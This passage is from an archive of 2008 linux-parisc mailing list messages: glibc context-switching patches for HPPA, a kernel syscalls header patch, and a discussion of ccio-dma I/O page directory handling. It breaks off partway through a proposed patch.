+	ldw	oR2(%r3), %r2
+	/* ldw	oR3(%r3), %r3 - used for ucp pointer.	*/
+	/* ldw	oR4(%r3), %r4 - used for original %sp.	*/
+	/* ldw	oR5(%r3), %r5 - used for %dp / %r27.	*/
+	/* ldw	oR6(%r3), %r6 - used for %r19.		*/
+	ldw	oR7(%r3), %r7
+	ldw	oR8(%r3), %r8
+	ldw	oR9(%r3), %r9
+	ldw	oR10(%r3), %r10
+	ldw	oR11(%r3), %r11
+	ldw	oR12(%r3), %r12
+	ldw	oR13(%r3), %r13
+	ldw	oR14(%r3), %r14
+	ldw	oR15(%r3), %r15
+	ldw	oR16(%r3), %r16
+	ldw	oR17(%r3), %r17
+	ldw	oR18(%r3), %r18
+	ldw	oR19(%r3), %r19
+	ldw	oR20(%r3), %r20
+	ldw	oR21(%r3), %r21
+	/* ldw	oR22(%r3), %r22 - dyncall arg.  */
+	ldw	oR23(%r3), %r23
+	ldw	oR24(%r3), %r24
+	ldw	oR25(%r3), %r25
+	ldw	oR26(%r3), %r26
+	ldw	oR27(%r3), %r27
+	ldw	oR28(%r3), %r28
+	ldw	oR29(%r3), %r29
+	ldw	oR30(%r3), %r30
+	/* ldw	oR31(%r3), %r31 - dyncall scratch register */
+
+	/* Restore floating-point registers.  */
+	ldo	 oFPREGS31(%r3), %r22
+	fldds	  0(%r22), %fr31
+	fldds,mb -8(%r22), %fr30
+	fldds,mb -8(%r22), %fr29
+	fldds,mb -8(%r22), %fr28
+	fldds,mb -8(%r22), %fr27
+	fldds,mb -8(%r22), %fr26
+	fldds,mb -8(%r22), %fr25
+	fldds,mb -8(%r22), %fr24
+	fldds,mb -8(%r22), %fr23
+	fldds,mb -8(%r22), %fr22
+	fldds,mb -8(%r22), %fr21
+	fldds,mb -8(%r22), %fr20
+	fldds,mb -8(%r22), %fr19
+	fldds,mb -8(%r22), %fr18
+	fldds,mb -8(%r22), %fr17
+	fldds,mb -8(%r22), %fr16
+	fldds,mb -8(%r22), %fr15
+	fldds,mb -8(%r22), %fr14
+	fldds,mb -8(%r22), %fr13
+	fldds,mb -8(%r22), %fr12
+	fldds,mb -8(%r22), %fr11
+	fldds,mb -8(%r22), %fr10
+	fldds,mb -8(%r22), %fr9
+	fldds,mb -8(%r22), %fr8
+	fldds,mb -8(%r22), %fr7
+	fldds,mb -8(%r22), %fr6
+	fldds,mb -8(%r22), %fr5
+	fldds,mb -8(%r22), %fr4
+	fldds,mb -8(%r22), %fr3
+	fldds,mb -8(%r22), %fr2
+	fldds,mb -8(%r22), %fr1
+	fldds,mb -8(%r22), %fr0
+
+	/* Calculate new stack pointer.  */
+	ldw	oSS_SP(%r3), %sp
+	ldo	64(%sp), %sp
+
+	/* Call function.  */
+	copy	%r2, %r22
+	bl	$$dyncall, %r31
+	copy	%r31, %r2
+
+	/* We return here. Get new ucp in %r3, reload %sp.  */
+	ldw	oUC_LINK(%r3), %r3
+	copy	%r4, %sp
+	copy	%r5, %dp
+	copy	%r6, %r19
+
+	/* If ucp == NULL then exit().  */
+	comib,<> 0,%r3,L(_again)
+	nop
+
+	/* If we looped through all uc_link contexts, exit now.  */
+	bl	_exit, %r2
+	ldi	-1, %r26
+	
+
+L(_error):
+	/* Epilogue */
+	ldw	-84(%r30), %r2
+#ifdef PIC
+	ldw	-96(%r30), %r19
+#endif
+	bv	%r0(%r2)
+	ldwm	-64(%r30), %r3
+L(pseudo_end):
+PSEUDO_END(__setcontext)
+
+weak_alias(__setcontext, setcontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c.org ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c
--- ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c.org	2008-07-20 18:27:22.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/swapcontext.c	2008-07-20 18:32:51.000000000 +0200
@@ -0,0 +1,43 @@
+/* Swap to new context.
+   Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Helge Deller <deller@gmx.de>, 2008.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.	 See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#include <ucontext.h>
+
+extern int __getcontext (ucontext_t *ucp);
+extern int __setcontext (const ucontext_t *ucp);
+
+int
+__swapcontext (ucontext_t *oucp, const ucontext_t *ucp)
+{
+  /* Save the current machine context to oucp.  */
+  __getcontext (oucp);
+
+  /* sc_sar flags to skip the setcontext call on reactivation.  */
+  if (oucp->uc_mcontext.sc_sar == 0) {
+  	++oucp->uc_mcontext.sc_sar;
+
+	/* Restore the machine context in ucp.  */
+  	__setcontext (ucp);
+  }
+
+  return 0;
+}
+
+weak_alias (__swapcontext, swapcontext)
diff -up ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym.org ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym
--- ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym.org	2008-07-16 19:27:46.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/ucontext_i.sym	2008-07-20 20:03:07.000000000 +0200
@@ -0,0 +1,59 @@
+#include <stddef.h>
+#include <signal.h>
+#include <sys/ucontext.h>
+
+--
+
+SIG_BLOCK
+SIG_SETMASK
+
+#define ucontext(member)	offsetof (ucontext_t, member)
+#define mcontext(member)	ucontext (uc_mcontext.member)
+#define mreg(reg)		mcontext (sc_gr[reg])
+
+oUC_FLAGS	ucontext (uc_flags)
+oUC_LINK	ucontext (uc_link)
+oSS_SP		ucontext (uc_stack.ss_sp)
+oSS_FLAGS	ucontext (uc_stack.ss_flags)
+oSS_SIZE	ucontext (uc_stack.ss_size)
+oSC_FLAGS	mcontext (sc_flags)
+oR0		mreg (0)
+oR1		mreg (1)
+oR2		mreg (2)
+oR3		mreg (3)
+oR4		mreg (4)
+oR5		mreg (5)
+oR6		mreg (6)
+oR7		mreg (7)
+oR8		mreg (8)
+oR9		mreg (9)
+oR10		mreg (10)
+oR11		mreg (11)
+oR12		mreg (12)
+oR13		mreg (13)
+oR14		mreg (14)
+oR15		mreg (15)
+oR16		mreg (16)
+oR17		mreg (17)
+oR18		mreg (18)
+oR19		mreg (19)
+oR20		mreg (20)
+oR21		mreg (21)
+oR22		mreg (22)
+oR23		mreg (23)
+oR24		mreg (24)
+oR25		mreg (25)
+oR26		mreg (26)
+oR27		mreg (27)
+oR28		mreg (28)
+oR29		mreg (29)
+oR30		mreg (30)
+oR31		mreg (31)
+oFPREGS0	mcontext (sc_fr[0])
+oFPREGS31	mcontext (sc_fr[31])
+oIASQ0		mcontext (sc_iasq[0])
+oIASQ1		mcontext (sc_iasq[1])
+oIAOQ0		mcontext (sc_iaoq[0])
+oIAOQ1		mcontext (sc_iaoq[1])
+oSAR		mcontext (sc_sar)
+oSIGMASK	ucontext (uc_sigmask)

--------------070908020905060806090801--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jaswinder Singh <jaswinder@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.kernelnewbies
Subject: [PATCH 15/22] parisc: Introducing asm/syscalls.h
Date: Mon, 21 Jul 2008 05:16:06 +0530
Lines: 84
Approved: news@gmane.org
Message-ID: <1216597566.3679.135.camel@jaswinder.satnam>
References: <1216592500.3679.14.camel@jaswinder.satnam>
	 <1216592798.3679.22.camel@jaswinder.satnam>
	 <1216592879.3679.24.camel@jaswinder.satnam>
	 <1216593035.3679.27.camel@jaswinder.satnam>
	 <1216596035.3679.95.camel@jaswinder.satnam>
	 <1216596106.3679.98.camel@jaswinder.satnam>
	 <1216596325.3679.104.camel@jaswinder.satnam>
	 <1216596669.3679.112.camel@jaswinder.satnam>
	 <1216596749.3679.115.camel@jaswinder.satnam>
	 <1216596835.3679.117.camel@jaswinder.satnam>
	 <1216596932.3679.120.camel@jaswinder.satnam>
	 <1216597066.3679.123.camel@jaswinder.satnam>
	 <1216597151.3679.125.camel@jaswinder.satnam>
	 <1216597237.3679.128.camel@jaswinder.satnam>
	 <1216597352.3679.131.camel@jaswinder.satnam>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216598709 11064 80.91.229.12 (21 Jul 2008 00:05:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2008 00:05:09 +0000 (UTC)
To: LKML <linux-kernel@vger.kernel.org>,
	kernelnewbies <kernelnewbies@nl.linux.org>,
	David Woodhouse <dwmw2@infradead.org>, matthew@wil.cx,
	kyle@mcmartin.ca, grundler@parisc-linux.org,
	l
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 02:05:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKiuV-0005yA-6Q
	for glpp-linux-parisc@gmane.org; Mon, 21 Jul 2008 02:05:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756288AbYGUAEW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2008 20:04:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757074AbYGUAEV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jul 2008 20:04:21 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:37654 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756995AbYGUAET (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2008 20:04:19 -0400
Original-Received: from [59.180.111.8] (helo=[192.168.1.200])
	by casper.infradead.org with esmtpsa (Exim 4.69 #1 (Red Hat Linux))
	id 1KKisQ-0002Qj-VS; Mon, 21 Jul 2008 00:03:43 +0000
In-Reply-To: <1216597352.3679.131.camel@jaswinder.satnam>
X-Mailer: Evolution 2.22.1 (2.22.1-2.fc9) 
X-Bad-Reply: References and In-Reply-To but no 'Re:' in Subject.
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:543 gmane.linux.kernel:709498 gmane.linux.kernel.kernelnewbies:26771
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/543>

Declaring arch-dependent syscalls for parisc architecture

Signed-off-by: Jaswinder Singh <jaswinder@infradead.org>
---
 arch/parisc/kernel/process.c  |    1 +
 arch/parisc/kernel/signal.c   |    1 +
 include/asm-parisc/syscalls.h |   36 ++++++++++++++++++++++++++++++++++++
 3 files changed, 38 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index b80e02a..9a73fcd 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -46,6 +46,7 @@
 #include <linux/stddef.h>
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
+#include <linux/syscalls.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 06213d1..b10cade 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -25,6 +25,7 @@
 #include <linux/stddef.h>
 #include <linux/compat.h>
 #include <linux/elf.h>
+#include <linux/syscalls.h>
 #include <asm/ucontext.h>
 #include <asm/rt_sigframe.h>
 #include <asm/uaccess.h>
diff --git a/include/asm-parisc/syscalls.h b/include/asm-parisc/syscalls.h
index e69de29..0de8837 100644
--- a/include/asm-parisc/syscalls.h
+++ b/include/asm-parisc/syscalls.h
@@ -0,0 +1,36 @@
+/*
+ * syscalls.h - Linux syscall interfaces (arch-specific)
+ *
+ * Copyright (c) 2008 Jaswinder Singh
+ *
+ * This file is released under the GPLv2.
+ * See the file COPYING for more details.
+ *
+ * Please do not call me directly, include linux/syscalls.h
+ */
+
+#ifndef _ASM_PARISC_SYSCALLS_H
+#define _ASM_PARISC_SYSCALLS_H
+
+/* kernel/process.c */
+int sys_clone(unsigned long, unsigned long, struct pt_regs *);
+int sys_vfork(struct pt_regs *);
+asmlinkage int sys_execve(struct pt_regs *);
+
+/* kernel/signal.c */
+void sys_rt_sigreturn(struct pt_regs *, int);
+
+/* kernel/sys_parisc.c */
+asmlinkage unsigned long sys_mmap2(unsigned long, unsigned long,
+				   unsigned long, unsigned long,
+				   unsigned long, unsigned long);
+asmlinkage unsigned long sys_mmap(unsigned long, unsigned long,
+				  unsigned long, unsigned long,
+				  unsigned long, unsigned long);
+#ifdef CONFIG_64BIT
+asmlinkage long sys_truncate64(const char __user *, unsigned long);
+asmlinkage long sys_ftruncate64(unsigned int, unsigned long);
+asmlinkage long sys_fcntl64(unsigned int, unsigned int, unsigned long);
+#endif
+
+#endif /* _ASM_PARISC_SYSCALLS_H */
-- 
1.5.5.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: ccio-dma q about io pdir: is there a kernel mem space never paged?
Date: Mon, 21 Jul 2008 12:28:56 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <48848108.5000805@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216643361 24088 80.91.229.12 (21 Jul 2008 12:29:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2008 12:29:21 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 14:30:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKuWh-00047V-Ed
	for glpp-linux-parisc@gmane.org; Mon, 21 Jul 2008 14:30:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750771AbYGUM3H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jul 2008 08:29:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750904AbYGUM3H
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Jul 2008 08:29:07 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:35995 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750771AbYGUM3G (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jul 2008 08:29:06 -0400
Original-Received: from [213.49.83.146] (ip-213-49-83-146.dsl.scarlet.be [213.49.83.146])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m6LCSwGS008522;
	Mon, 21 Jul 2008 14:28:59 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
X-DCC--Metrics: hel 0; Body=2 Fuz1=2 Fuz2=2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:544
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/544>

Hello all,

Re-reading: <http://www.hpl.hp.com/hpjournal/96feb/feb96a6.pdf>

I noticed another detail:
sic "Recall that the I/O page directory contains all active address translations and must be memory-resident."

Those key words "must be memory-resident" would mean to me never paged (in/out)?

Even thought I read ./include/linux/gfp.h, it's not clear to me which could be the gfp_mask I can use in:
	ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL,
                                                  get_order(ioc->pdir_size));

to advise kernel to never paging this I/O page directory?

Any idea?

Tia,
	J.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: ccio_mark_invalid(): would it have to clear a bit or byte?
Date: Mon, 21 Jul 2008 14:51:08 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <4884A25C.7000902@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216651962 22842 80.91.229.12 (21 Jul 2008 14:52:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2008 14:52:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 16:53:30 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKwlO-0003Om-K1
	for glpp-linux-parisc@gmane.org; Mon, 21 Jul 2008 16:53:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753166AbYGUOwZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jul 2008 10:52:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754075AbYGUOwZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Jul 2008 10:52:25 -0400
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:43830 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754523AbYGUOwY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jul 2008 10:52:24 -0400
Original-Received: from [213.49.83.146] (ip-213-49-83-146.dsl.scarlet.be [213.49.83.146])
	(authenticated bits=0)
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m6LEpt4J031804;
	Mon, 21 Jul 2008 16:52:07 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
X-DCC--Metrics: hel 0; Body=2 Fuz1=2 Fuz2=2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:545
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/545>

Hello all,

given this comment:
  * Given a virtual address (vba, arg2) and space id, (sid, arg1),
  * load the I/O PDIR entry pointed to by pdir_ptr (arg0). Each IO Pdir
  * entry consists of 8 bytes as shown below (MSB == bit 0):
  *
  *
  * WORD 0:
  * +------+----------------+-----------------------------------------------+
  * | Phys | Virtual Index  |               Phys                            |
  * | 0:3  |     0:11       |               4:19                            |
  * |4 bits|   12 bits      |              16 bits                          |
  * +------+----------------+-----------------------------------------------+
  * WORD 1:
  * +-----------------------+-----------------------------------------------+
  * |      Phys    |  Rsvd  | Prefetch |Update |Rsvd  |Lock  |Safe  |Valid  |
  * |     20:39    |        | Enable   |Enable |      |Enable|DMA   |       |
  * |    20 bits   | 5 bits | 1 bit    |1 bit  |2 bits|1 bit |1 bit |1 bit  |
  * +-----------------------+-----------------------------------------------+
  *

and also this:
         while (byte_cnt > 0) {
                 /* clear I/O Pdir entry "valid" bit first */
                 ((unsigned char *) pdir_ptr)[7] = 0;

So if I well understand 'Valid' field of a pdir entry is well of 1 bit but the code cleanup a all byte?

Is coding something like:
#define PTE_VALID_BIT_MASK      0xfffffffffffffffeULL	

		*pdir_ptr &= PTE_VALID_BIT_MASK;

wouldn't do better what comment says it does?

Well a short test seems to help but doesn't fix all issue:

patst007 login: end_request: I/O error, dev sdl, sector 6659574
__ratelimit: 32 messages suppressed 

Buffer I/O error on device sdl9, logical block 193374 

lost page write due to I/O error on sdl9 

Buffer I/O error on device sdl9, logical block 193375 

lost page write due to I/O error on sdl9 

Buffer I/O error on device sdl9, logical block 193376 

lost page write due to I/O error on sdl9 

Buffer I/O error on device sdl9, logical block 193377 

lost page write due to I/O error on sdl9 

Buffer I/O error on device sdl9, logical block 193378 

lost page write due to I/O error on sdl9 

Buffer I/O error on device sdl9, logical block 193379 

lost page write due to I/O error on sdl9 

Buffer I/O error on device sdl9, logical block 193380 

lost page write due to I/O error on sdl9
Buffer I/O error on device sdl9, logical block 193381
lost page write due to I/O error on sdl9
Buffer I/O error on device sdl9, logical block 193382
lost page write due to I/O error on sdl9
Buffer I/O error on device sdl9, logical block 193383

Tia for all advise,
	J.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio-dma q about io pdir: is there a kernel mem space never
	paged?
Date: Mon, 21 Jul 2008 10:58:45 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20080721145845.GB13751@phobos.i.cabal.ca>
References: <48848108.5000805@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1216652345 24187 80.91.229.12 (21 Jul 2008 14:59:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2008 14:59:05 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 16:59:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KKwrY-0005WK-14
	for glpp-linux-parisc@gmane.org; Mon, 21 Jul 2008 16:59:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751666AbYGUO6r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jul 2008 10:58:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753400AbYGUO6r
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Jul 2008 10:58:47 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:36508 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751666AbYGUO6q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jul 2008 10:58:46 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 835EC17805A; Mon, 21 Jul 2008 10:58:45 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <48848108.5000805@scarlet.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/546>

On Mon, Jul 21, 2008 at 12:28:56PM +0000, Joel Soete wrote:
>

The kernel is never paged out. Just think, if you page out the swapper,
how could you page anything back in?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:ccio_mark_invalid(): would it have to clear a bit or byte?
Date: Tue, 22 Jul 2008 13:56:12 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <K4ERXO$E35D44DFC4755555727B2E485DE272F6@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1216731401 30060 80.91.229.12 (22 Jul 2008 12:56:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Jul 2008 12:56:41 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>
To: "soete\.joel" <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 22 14:57:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KLHQZ-0006Xi-8R
	for glpp-linux-parisc@gmane.org; Tue, 22 Jul 2008 14:57:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752873AbYGVM4T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jul 2008 08:56:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753788AbYGVM4T
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Jul 2008 08:56:19 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:47239 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752823AbYGVM4Q convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jul 2008 08:56:16 -0400
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m6MCuCEC014978;
	Tue, 22 Jul 2008 14:56:13 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC--Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/547>

> Hello all,
> 
> given this comment:
>   * Given a virtual address (vba, arg2) and space id, (sid, arg1),
>   * load the I/O PDIR entry pointed to by pdir_ptr (arg0). Each IO Pdir
>   * entry consists of 8 bytes as shown below (MSB == bit 0):
>   *
>   *
>   * WORD 0:
>   * +------+----------------+-----------------------------------------------+
>   * | Phys | Virtual Index  |               Phys                            |
>   * | 0:3  |     0:11       |               4:19                            |
>   * |4 bits|   12 bits      |              16 bits                          |
>   * +------+----------------+-----------------------------------------------+
>   * WORD 1:
>   * +-----------------------+-----------------------------------------------+
>   * |      Phys    |  Rsvd  | Prefetch |Update |Rsvd  |Lock  |Safe  |Valid  |
>   * |     20:39    |        | Enable   |Enable |      |Enable|DMA   |       |
>   * |    20 bits   | 5 bits | 1 bit    |1 bit  |2 bits|1 bit |1 bit |1 bit  |
>   * +-----------------------+-----------------------------------------------+
>   *
> 
> and also this:
>          while (byte_cnt > 0) {
>                  /* clear I/O Pdir entry "valid" bit first */
>                  ((unsigned char *) pdir_ptr)[7] = 0;
> 
> So if I well understand 'Valid' field of a pdir entry is well of 1 bit but
the code cleanup a all byte?
> 
> Is coding something like:
> #define PTE_VALID_BIT_MASK      0xfffffffffffffffeULL	
> 
> 		*pdir_ptr &= PTE_VALID_BIT_MASK;
> 
> wouldn't do better what comment says it does?
> 
may be a more detail patch would better explain the idea:
@@ -674,19 +673,27 @@
 static CCIO_INLINE void
 ccio_mark_invalid(struct ioc *ioc, dma_addr_t iova, size_t byte_cnt)
 {
-       u32 iovp = (u32)CCIO_IOVP(iova);
-       size_t saved_byte_cnt;
+       u32     iovp;
